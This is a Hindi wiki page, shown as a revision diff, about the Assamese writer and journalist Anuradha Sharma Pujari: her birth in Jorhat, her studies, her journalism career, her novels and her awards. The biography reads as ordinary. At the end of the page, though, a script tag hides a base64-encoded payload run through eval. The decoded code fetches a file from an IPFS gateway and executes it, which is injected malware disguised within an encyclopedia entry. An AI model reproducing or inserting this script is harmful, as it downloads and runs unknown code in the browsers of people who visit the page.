अनुराधा शर्मा पुजारी: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 46: | Line 46: | ||
;लघुकथाएं | ;लघुकथाएं | ||
उनकी | उनकी लघुकथाएं [[असम]] की लगभग सभी लोकप्रिय साहित्यिक [[पत्रिका]] में प्रकाशित हुई है। | ||
*बोकसोटोर गान ([[1999]]) | *बोकसोटोर गान ([[1999]]) |
Revision as of 08:02, 6 October 2022
अनुराधा शर्मा पुजारी
| |
पूरा नाम | अनुराधा शर्मा पुजारी |
जन्म | 1964 |
जन्म भूमि | जोरहाट, असम |
कर्म भूमि | भारत |
कर्म-क्षेत्र | लेखन |
शिक्षा | परास्नातक (समाजशास्त्र), डिब्रूगढ़ विश्वविद्यालय |
पुरस्कार-उपाधि | साहित्य अकादमी पुरस्कार, 2021 कुमार किशोर मैमोरियल लिटरेरी अवॉर्ड |
प्रसिद्धि | असमिया लेखक, कवयित्री पत्रकार |
नागरिकता | भारतीय |
अन्य जानकारी | अनुराधा शर्मा पुजारी ने अपने कॅरियर की शुरूआत पत्रकारिता से की थी। उन्होंने 'असमिया दैनिक 'अमर असम' में अपना कॅरियर शुरू किया। |
अद्यतन | 13:30, 6 अक्टूबर 2022 (IST)
|
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
अनुराधा शर्मा पुजारी (अंग्रेज़ी: Anuradha Sharma Pujari, जन्म- 1964, जोरहाट, असम) भारत के राज्य असम की लेखिका और पत्रकार हैं। उन्होंने कई प्रचलित लेख लिखे हैं। कई उपन्यास, लघुकथा, आत्मकथा लिखी हैं। अनुराधा शर्मा पुजारी को उनके लेख के लिए कई पुरस्कारों से सम्मानित किया गया है।
जन्म
अनुराधा शर्मा पुजारी का जन्म सन 1964 में हुआ था। उनका पालन पोषण असम के जोरहाट जिले में हुआ।
शिक्षा
उन्होंने अपनी हाईस्कूल की पढ़ाई जोरहाट में पूरी की और उसके बाद समाजशास्त्र में परास्नातक होने के लिए डिब्रूगढ़ विश्वविद्यालय चली गईं। सन 1987 में सफतापूर्वक अपनी पढ़ाई पूरी की। बाद में पत्रकारिता के लिए वे कोलकाता के बिरला इंस्टिट्यूट ऑफ लाईबर आर्ट्स एंड मैनेजमेंट साइंस में आ गईं और 1993 में सफतापूर्वक पत्रकारिता की पढ़ाई पूरी की। उसके बाद अनुराधा शर्मा पुजारी ने कोलकाता में कला और फिल्म पर कोर्स किया।[1]
कॅरियर
अनुराधा शर्मा पुजारी ने अपने कॅरियर की शुरूआत पत्रकारिता से की थी। उन्होंने 'असमिया दैनिक 'अमर असम' में अपना कॅरियर शुरू किया। अपने लेखिका बनने की शुरुआत उन्होंने उपन्यास, स्ट्रोट कहानी - लेखक, पत्रकार, असमय सप्ताहिक सदीन और सत्सोरी के संपादक के रूप में शुरू की थी। अनुराधा शर्मा पुजारी का पहला उपन्यास 'हृदय एक बड़ापन' 1998 में उनके अनुभवों के आधार पर था। इस उपन्यास ने बहुत लोकप्रियता हासिल की। डी. सी. बी. कॉलेज के अंग्रेजी विभाग के डॉ. भाभा भट्टाचार्य के द्वारा इस उपन्यास का अंग्रेजी में 'हार्ट्स ए शोर्बस' के रूप में अनुवाद हुआ।
कृतियाँ
- उपन्यास
- लघुकथाएं
उनकी लघुकथाएं असम की लगभग सभी लोकप्रिय साहित्यिक पत्रिका में प्रकाशित हुई है।
- आत्मकथा
पुरस्कार
- साहित्य अकादमी पुरस्कार, 2021
- कुमार किशोर मैमोरियल लिटरेरी अवॉर्ड
- इक्सोम साहित्य, 2003
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ अनुराधा शर्मा पुजारी साहित्य अकादमी पुरस्कार विजेता 2021जीवनी (हिंदी) jivanimotivational.com। अभिगमन तिथि: 06 अक्टूबर, 2022।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>